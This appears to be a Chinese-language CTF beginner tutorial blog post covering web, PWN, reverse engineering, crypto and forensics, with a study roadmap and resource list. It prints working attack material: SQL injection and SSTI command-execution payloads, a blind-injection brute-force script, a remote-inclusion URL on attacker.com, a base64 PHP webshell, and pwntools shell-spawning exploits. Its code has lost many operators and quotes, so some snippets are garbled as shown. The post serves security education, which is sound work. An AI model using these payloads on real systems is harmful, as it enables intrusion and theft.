CTF 入门:从 Web 安全到逆向工程的技术地图与实战方法

发布时间:2026/7/29 12:24:15
CTF 入门:从 Web 安全到逆向工程的技术地图与实战方法
写在前面的话这篇文章不是CTF 是什么的科普文而是CTF 里到底在考什么、怎么下手、怎么从一道题学会一类漏洞的技术指南。如果你刚接触 CTF读完这篇文章后你应该能独立解出一道 Easy 难度的 Web 题、一道 PWN 格式化字符串题、一道基础逆向题。一、CTF 的本质漏洞在沙箱中的具象化CTFCapture The Flag不是做题而是在可控环境中复现真实攻防场景。每一道 CTF 题背后都对应着真实世界中发生过的安全事件或技术原理。CTF 题型对应的真实安全问题真实案例Web SQL 注入数据库未参数化查询2017 Equifax 数据泄露Apache Struts OGNL 注入Web SSRF服务器端请求伪造2021 Capital One 云元数据泄露PWN 栈溢出缓冲区溢出1988 Morris Worm、2014 HeartbleedPWN 格式化字符串printf 族函数滥用各类 FTP/IRC 服务器历史漏洞Reverse 算法还原恶意软件加密逻辑分析勒索软件 WannaCry 的 RSA/AES 混合加密链Crypto RSA 攻击弱密钥/实现缺陷ROCA 漏洞英飞.infineon 芯片 RSA 密钥生成缺陷Misc 流量分析网络取证与威胁狩猎2020 SolarWinds 供应链攻击的流量特征提取核心观点CTF 不是游戏而是漏洞的教学模型。一道好的 CTF 题出题人在设计时一定遵循了真实漏洞的核心逻辑 适当的约束条件。二、Web 安全从输入到输出的完整攻击面Web 安全是 CTF 入门最友好的方向也是真实世界占比最高的攻击向量。2.1 SQL 注入参数化缺失的代价原理当用户输入未经参数化处理直接拼接到 SQL 语句中时攻击者可以改变 SQL 语法结构。# 危险代码CTF 题中经常出现 username request.args.get(username) password request.args.get(password) query fSELECT * FROM users WHERE username{username} AND password{password}实战 Payload 拆解Payload作用原理 OR 11 --万能密码闭合字符串 →OR 11永远为真 →--注释掉剩余语句 UNION SELECT 1,2,3,4 --列数探测 数据提取UNION 要求前后 SELECT 列数相同通过逐个增加数字直到不报错来确定列数 AND (SELECT table_name FROM information_schema.tables LIMIT 1)users --布尔盲注通过页面返回差异True/False逐字推断数据库内容 AND IF(SUBSTRING((SELECT password FROM users LIMIT 1),1,1)a,SLEEP(3),1) --时间盲注通过响应时间差异推断字符适用于页面无回显差异的场景盲注自动化思路import requests import string ​ TARGET http://target.com/login password chars string.ascii_letters string.digits {}_!# ​ for pos in range(1, 33): # 假设密码最长 32 位 for c in chars: payload f AND (SELECT SUBSTRING(password,{pos},1) FROM users WHERE usernameadmin){c} -- resp requests.post(TARGET, data{username: admin, password: payload}) if welcome in resp.text: password c print(f[] Position {pos}: {c} → {password}) break else: print(f[-] Position {pos}: not found) break核心教训永远不要信任任何来自客户端的输入。参数化查询Prepared Statement是唯一可靠的防御。2.2 文件包含与读取路径遍历的利用链PHP 文件包含// 危险代码 $page $_GET[page]; include($page . .php);技术Payload说明本地文件包含?page../../etc/passwd%00%00截断.php后缀需 magic_quotes_gpcoffPHP 伪协议读取源码?pagephp://filter/convert.base64-encode/resourceindex以 base64 读取源码避免 PHP 代码被解析执行远程文件包含?pagehttp://attacker.com/shell需allow_url_includeOn现代 PHP 默认关闭data 协议执行?pagedata://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUW2NtZF0pOz8直接在内存中执行 PHP 代码实战php://filter 读取源码的完整流程1. 发现 ?pageindex 参数 2. 尝试 ?pagephp://filter/convert.base64-encode/resourceindex 3. 得到 base64 编码的 PHP 源码 4. 解码后发现敏感信息数据库配置、硬编码密码、其他漏洞点 5. 利用新发现的信息继续深入核心教训文件包含的本质是信任了用户指定的文件路径。白名单机制是最有效的防御。2.3 反序列化对象注入的杀伤力PHP 反序列化// 危险代码 class LogFile { public $filename; function __destruct() { unlink($this-filename); // 任意文件删除 } } ​ $data $_GET[data]; unserialize($data); // 攻击者可控的输入 构造 POP 链Property-Oriented Programming // 攻击者构造的序列化对象 class LogFile { public $filename /var/www/html/config.php; } echo urlencode(serialize(new LogFile())); // 输出O%3A6%3A%22LogFile%22%3A1%3A%7Bs%3A8%3A%22filename%22%3Bs%3A25%3A%22%2Fvar%2Fwww%2Fhtml%2Fconfig.php%22%3B%7D真实 POP 链案例ThinkPHP 5.x 反序列化 RCE 中攻击者通过think\process\pipes\Windows→think\model\concern\Conversion→think\model\Pivot的多层调用链最终触发call_user_func执行任意代码。2.4 SSTI服务器端模板注入模板引擎的信任边界# Flask 危险代码 from flask import Flask, request, render_template_string app Flask(__name__) ​ app.route(/hello) def hello(): name request.args.get(name, World) return render_template_string(fh1Hello {name}!/h1)利用链阶段Payload作用确认注入{{7*7}}页面返回 49 确认模板引擎在执行探测环境{{config}}泄露 Flask 配置可能含 SECRET_KEY获取基类{{.__class__.__mro__}}查看继承链定位object获取子类{{.__class__.__mro__[1].__subclasses__()}}列出所有可用类找可利用的 gadget执行命令{{.__class__.__mro__[1].__subclasses__()[132].__init__.__globals__[os].popen(id).read()}}通过warnings.catch_warnings类获取os模块执行命令核心教训模板引擎不是沙箱。render_template_string中的变量如果来自用户输入必须经过严格过滤或使用{{ variable | e }}进行转义。三、PWN 基础从内存布局到代码执行PWN 是 CTF 中最硬核的方向核心是利用程序内存管理缺陷实现任意代码执行。3.1 栈溢出覆盖返回地址的艺术原理void vulnerable() { char buf[64]; gets(buf); // 危险不检查输入长度 }当输入超过 64 字节时溢出数据会覆盖栈上的返回地址RET。栈布局[buf: 64 bytes] [saved EBP: 4 bytes] [RET: 4 bytes] [function args...] ↑ ↑ ↑ 填充数据 覆盖为任意值 覆盖为目标地址实战ret2text 攻击返回到程序中已有的代码from pwn import * ​ elf ELF(./vulnerable) p process(./vulnerable) ​ # 找到后门函数地址 backdoor elf.sym[backdoor] # 0x08048567 ​ # 构造 payload padding bA * 64 # 填满 buf ebp bB * 4 # 覆盖 saved EBP可任意 ret_addr p32(backdoor) # 覆盖 RET 为 backdoor 地址 ​ payload padding ebp ret_addr p.sendline(payload) p.interactive()ret2libc 攻击当程序没有后门函数时from pwn import * ​ elf ELF(./vulnerable) libc ELF(./libc.so.6) p process(./vulnerable) ​ # 1. 泄露 libc 地址通过 putsgot 的 GOT 表项 puts_got elf.got[puts] puts_plt elf.plt[puts] main_addr elf.sym[main] ​ # ROP: puts(puts_got) → main() rop1 flat([ bA * 72, # padding puts_plt, # RET → putsplt main_addr, # puts 的返回地址 → 回到 main 再次利用 puts_got # puts 的参数 → putsgot 的实际地址 ]) ​ p.sendline(rop1) p.recvline() # 消耗掉多余输出 puts_addr u64(p.recv(6).ljust(8, b\x00)) ​ # 2. 计算 libc 基址 libc_base puts_addr - libc.sym[puts] system_addr libc_base libc.sym[system] binsh_addr libc_base next(libc.search(b/bin/sh)) ​ # 3. 第二次 ropsystem(/bin/sh) rop2 flat([ bA * 72, system_addr, 0xdeadbeef, # system 的返回地址任意 binsh_addr # system 的参数 ]) ​ p.sendline(rop2) p.interactive()3.2 格式化字符串漏洞任意地址读写的瑞士军刀原理void vulnerable() { char buf[100]; fgets(buf, 100, stdin); printf(buf); // 危险用户输入直接作为格式化字符串 }利用方式格式化符作用示例%x/%p读取栈上数据输入%x.%x.%x.%x可查看栈上 4 个值%s将栈上值作为指针读取字符串输入%s会读取栈上第 N 个值指向的字符串%n将已输出字节数写入栈上值指向的地址任意地址写的核心%7$x直接读取第 7 个参数避免逐个尝试%7$n向第 7 个参数指向的地址写入任意地址写实战通过 GOT 表劫持实现 RCEfrom pwn import * ​ elf ELF(./fmtstr) p process(./fmtstr) ​ # 目标将 printfgot 覆盖为 systemplt printf_got elf.got[printf] system_plt elf.plt[system] ​ # %n 写入的是已输出的字节数所以需要精确控制 # system_plt 0x08048450 134513744 (十进制) ​ # 方法使用 %hn写入 2 字节分两次写入 low_2 system_plt 0xFFFF # 低 2 字节 high_2 (system_plt 16) 0xFFFF # 高 2 字节 ​ if high_2 low_2: # 先写高字节 payload1 fmtstr_payload(7, {printf_got 2: high_2}, write_sizeshort) payload2 fmtstr_payload(7, {printf_got: low_2}, write_sizeshort) else: # 先写低字节 payload1 fmtstr_payload(7, {printf_got: low_2}, write_sizeshort) payload2 fmtstr_payload(7, {printf_got 2: high_2}, write_sizeshort) ​ p.sendline(payload1) p.sendline(payload2) ​ # 现在调用 printf 实际执行的是 system p.sendline(b/bin/sh\x00) p.interactive()3.3 现代防护机制与绕过机制作用绕过方法NX/DEP栈不可执行ret2libc复用 libc 中的代码ASLR随机化内存布局信息泄露泄露 GOT 表项计算基址Canary栈保护随机值检测溢出格式化字符串泄露 Canary → 精确覆盖RELROGOT 表只读覆盖其他可写 GOT 项或 __free_hookPIE程序基址随机化信息泄露程序代码段地址四、逆向工程从二进制到逻辑还原逆向工程是理解程序实际在做什么的关键技能。4.1 静态分析IDA Pro / Ghidra 工作流1. 打开二进制文件等待自动分析完成 2. 查看字符串窗口ShiftF12搜索 flag、correct、wrong 等关键词 3. 双击字符串按 X 查看交叉引用Xref定位到使用它的函数 4. 按 F5 反编译为伪代码 5. 从 main 函数开始逐层分析调用逻辑4.2 常见加密算法识别算法识别特征CTF 解题思路XOR单字节/多字节异或循环密钥已知明文 XOR 密文 密钥频率分析Base64字符集A-Za-z0-9/每 3 字节变 4 字节直接解码AESS-Box 查表256 字节固定表、轮密钥加提取密钥和 IV用 pycryptodome 解密RSA大整数运算、模幂运算pow(m, e, n)分解 n小 n 直接分解或低加密指数攻击RC4256 字节 S 盒初始化 PRGA提取密钥流XOR 解密4.3 实战逆向一道简单的 XOR 加密题// 逆向目标 void check_flag(char *input) { char key[] CTF2026; char expected[] {0x1a, 0x12, 0x0b, 0x1c, 0x0d, 0x1e, 0x0a, 0x1b, 0x0c}; for (int i 0; i 9; i) { if ((input[i] ^ key[i % 7]) ! expected[i]) { printf(Wrong!\n); return; } } printf(Correct! Flag: CTF{%s}\n, input); }解密脚本key bCTF2026 expected [0x1a, 0x12, 0x0b, 0x1c, 0x0d, 0x1e, 0x0a, 0x1b, 0x0c] ​ flag for i in range(9): flag chr(expected[i] ^ key[i % 7]) ​ print(fCTF{{{flag}}}) # 输出CTF{r3vers1ng}核心技巧XOR 的核心性质是a ^ b ^ b a。只要知道密钥和密文中的一个就能还原另一个。五、Crypto数学在安全中的双面性5.1 RSA 入门与常见攻击RSA 原理1. 选择两个大素数 p, q 2. n p × q 3. φ(n) (p-1)(q-1) 4. 选择 e 满足 gcd(e, φ(n)) 1 5. 计算 d e⁻¹ mod φ(n) 6. 公钥(n, e)私钥(n, d) 7. 加密c m^e mod n 8. 解密m c^d mod nCTF 中常见的 RSA 攻击攻击类型条件方法小 n 分解n 2^512factor(n)直接分解共模攻击同一明文用不同 e 加密模 n 相同gcd(e1, e2) 1时用扩展欧几里得低加密指数e 3m 很小c m^3直接开三次方根Wiener 攻击d 很小d n^0.25 / 3连分数展开 e/n广播攻击同一明文用 e3 加密后发给 3 个不同 n中国剩余定理还原 m^3实战低加密指数攻击from gmpy2 import iroot import gmpy2 ​ # e 3, m 很小导致 m^3 n c 123456789 e 3 ​ # 直接开三次方 m, exact iroot(c, e) if exact: print(fm {m}) print(fflag {bytes.fromhex(hex(m)[2:]).decode()})六、Misc流量分析、隐写与取证6.1 流量分析核心方法# 1. 查看协议统计 tshark -r capture.pcap -q -z io,phs ​ # 2. 提取 HTTP 对象 tshark -r capture.pcap --export-objects http,./extracted/ ​ # 3. 提取 TLS 中的明文如果有密钥 tshark -r capture.pcap -o ssl.keylog_file:keys.log -Y http -T fields -e http.file_data ​ # 4. 追踪 TCP 流 tshark -r capture.pcap -Y tcp.stream eq 3 -T fields -e tcp.payload | xxd -r -p ​ # 5. 提取文件 foremost -i capture.pcap -o ./foremost_output/6.2 图片隐写技术工具原理LSB 隐写stegsolve、zsteg最低有效位存储数据元数据隐藏exiftoolEXIF/IPTC/XMP 字段存储文本文件追加binwalk、foremost图片末尾追加其他文件PNG IDAT 块分析pngcheck、zlib解压修改 PNG 数据块频域隐写steghide、outguessDCT 系数中隐藏数据七、入门路线图从零到能独立解题阶段一环境与工具准备1-2 周必备工具 ├── Web: Burp Suite Community、sqlmap、dirsearch ├── PWN: pwntoolspip install pwntools、GDB GEF/pwndbg ├── Reverse: IDA Free / Ghidra、x64dbg ├── Crypto: pycryptodome、sageMath、RsaCtfTool └── Misc: tshark、stegsolve、binwalk、exiftool ​ 练习平台 ├── CTFlearnhttps://ctflearn.com— 入门友好 ├── PicoCTFhttps://picoctf.org— 教育向有引导 ├── Bugkuhttps://ctf.bugku.com— 中文入门 └── CTFHubhttps://www.ctfhub.com— 中文分类清晰阶段二Web 安全突破2-4 周第一周SQL 注入 ├── 手工注入UNION、布尔盲注、时间盲注 ├── sqlmap 自动化工具 └── 靶场SQLi-LabsGitHub 开源 ​ 第二周文件包含与上传 ├── PHP 伪协议 ├── 上传绕过MIME/后缀/内容检测 └── 靶场Upload-Labs ​ 第三周反序列化与 SSTI ├── PHP 反序列化 POP 链构造 ├── Flask/Jinja2 SSTI └── 靶场Flask SSTI 专题练习 ​ 第四周综合实战 ├── 做 5-10 道 CTF 平台 Web 题Easy~Medium ├── 每道题写出完整的 WriteUp └── 重点理解出题人思路而非单纯背 Payload阶段三PWN 基础4-6 周第一周栈溢出基础 ├── 理解栈帧结构push EBP; mov EBP,ESP; sub ESP,xxx ├── 计算溢出偏移cyclic pattern cyclic -l └── ret2text 攻击 ​ 第二周ROP 与 ret2libc ├── ROPgadget 工具使用 ├── GOT/PLT 延迟绑定机制 └── ret2libc 完整攻击链 ​ 第三周格式化字符串 ├── %n 任意地址写 ├── GOT 表劫持 └── 结合 pwntools fmtstr_payload 自动化 ​ 第四~六周综合实战 ├── pwnable.kr 前 10 题 ├── CTF 平台 PWN 题 5-10 道 └── 每道题写出完整的 exploit 脚本八、做题方法论如何高效拆解一道 CTF 题8.1 Web 题拆解流程1. 信息收集 ├── 目录扫描dirsearch / ffuf ├── 查看 robots.txt、.git/、.env、/backup ├── 查看前端 JS 源码API 端点、硬编码参数 └── HTTP 头分析Server 版本、自定义头 ​ 2. 漏洞探测 ├── 对每个输入点测试SQL 注入、XSS、命令注入、SSRF ├── 对文件上传点测试MIME 绕过、后缀绕过、内容绕过 ├── 对登录点测试弱口令、SQL 注入、验证码绕过 └── Burp Suite 抓包逐一测试每个参数 ​ 3. 漏洞利用 ├── 构造 PoC 验证漏洞存在 ├── 编写 Exploit 获取 flag └── 记录完整攻击链为 WriteUp 做准备 ​ 4. 赛后复盘 ├── 这道题考的是什么知识点 ├── 有没有非预期的解法 ├── 出题人设置了哪些陷阱 └── 这个漏洞在真实系统中如何防御8.2 PWN 题拆解流程1. 静态分析 ├── file / checksec 查看程序架构和保护机制 ├── IDA/Ghidra 反编译找到漏洞函数 ├── 计算缓冲区大小和偏移量 └── 找到可利用的 gadgetsystem、/bin/sh、pop rdi; ret ​ 2. 动态调试 ├── GDB attach 到进程 ├── 在漏洞函数下断点观察栈布局 ├── 验证偏移量计算是否正确 └── 确认 exploit 脚本的每个字节 ​ 3. 编写 exploit ├── 使用 pwntools 框架 ├── 先实现信息泄露泄露 libc 地址 ├── 再实现 RCEret2libc / ret2one_gadget └── 本地调试成功后切换到远程目标 ​ 4. 远程调试技巧 ├── 先用本地环境调通完整 exploit ├── 远程 libc 版本可能与本地不同需要泄露确定 ├── 网络延迟可能导致 timing 问题加 sleep └── 记录每次尝试的输入输出便于回溯九、常见误区与避坑指南误区一背 Payload 就能解题事实Payload 是工具不是答案。每道题的环境、过滤规则、上下文都不同。正确做法理解 Payload 背后的原理。例如知道UNION SELECT要求列数匹配就能自己构造探测语句而不是死记UNION SELECT 1,2,3。误区二只做简单题回避难题事实Easy 题是入门Medium 题是进阶Hard 题才是真正提升。正确做法Easy 题做 5 道建立信心后立刻转向 Medium。遇到不会的题先看别人的 WriteUp 理解思路然后自己重新做一遍。误区三不看 WriteUp事实看 WriteUp 不是作弊是学习。出题人的思路和技巧是你自己很难想到的。正确做法每道题做完或实在做不出后阅读 2-3 篇不同作者的 WriteUp比较解法差异记录新的知识点。误区四只做题不写 WriteUp事实写过 WriteUp 的人对知识的掌握程度是只做题的人的 3 倍。正确做法每做出一道题至少写下这道题考什么我用了什么方法关键步骤的代码/命令学到了什么新知识十、进阶方向从 CTF 到真实安全研究CTF 是起点不是终点。当你能够独立解决 Medium 难度的题目后可以考虑以下方向方向从 CTF 到实战的桥梁推荐学习路径Web 安全CTF Web 题 → 真实 WAF 绕过 → 企业 SRCPortSwigger Web Security Academy免费、高质量二进制漏洞挖掘CTF PWN → 真实软件 CVE → 漏洞赏金学习 AFL / libFuzzer fuzzing关注 OSS-Fuzz 项目逆向与恶意软件分析CTF Reverse → 恶意软件样本分析 → 威胁情报从 VirusTotal 下载样本用 IDA x64dbg 分析密码学CTF Crypto → 真实协议审计 → 密码学工程学习 Cryptopals 挑战The Cryptopals Crypto Challenges应急响应CTF Misc/Forensics → 真实事件响应 → DFIR学习 SANS FOR508 课程内容练习 Volatility 内存取证十一、资源清单学习平台CTFlearnHome - CTFlearn - CTF Practice - CTF Problems - CTF Challenges— 入门首选分类清晰PicoCTFpicoCTF.org is now CyLab Security Academy— 教育向有引导式教学Bugku CTF首页 - Bugku CTF平台— 中文入门平台CTFHubCTFHub— 中文专题分类好pwnable.krhttp://pwnable.kr— PWN 专项练习PortSwigger AcademyWeb Security Academy: Free Online Training from PortSwigger— Web 安全最佳实践CryptopalsThe Cryptopals Crypto Challenges— 密码学编程挑战工具速查Web: Burp Suite, sqlmap, dirsearch, ffuf, jwt_tool PWN: pwntools, GDBGEF, ROPgadget, one_gadget, checksec Reverse: IDA Free, Ghidra, x64dbg, radare2, angr Crypto: sageMath, pycryptodome, RsaCtfTool, factordb Misc: tshark, wireshark, binwalk, stegsolve, exiftool, volatility必读书籍《白帽子讲 Web 安全》— 吴翰清入门 Web 安全必读《CTF 竞赛权威指南PWN 篇》— 看雪学院PWN 入门最佳中文教材《Hacking: The Art of Exploitation》— Jon Erickson二进制安全经典《The Web Application Hackers Handbook》— 虽老但原理不过时本文所有技术内容仅用于 CTF 竞赛与安全研究目的。未经授权对真实系统进行测试违反《中华人民共和国网络安全法》。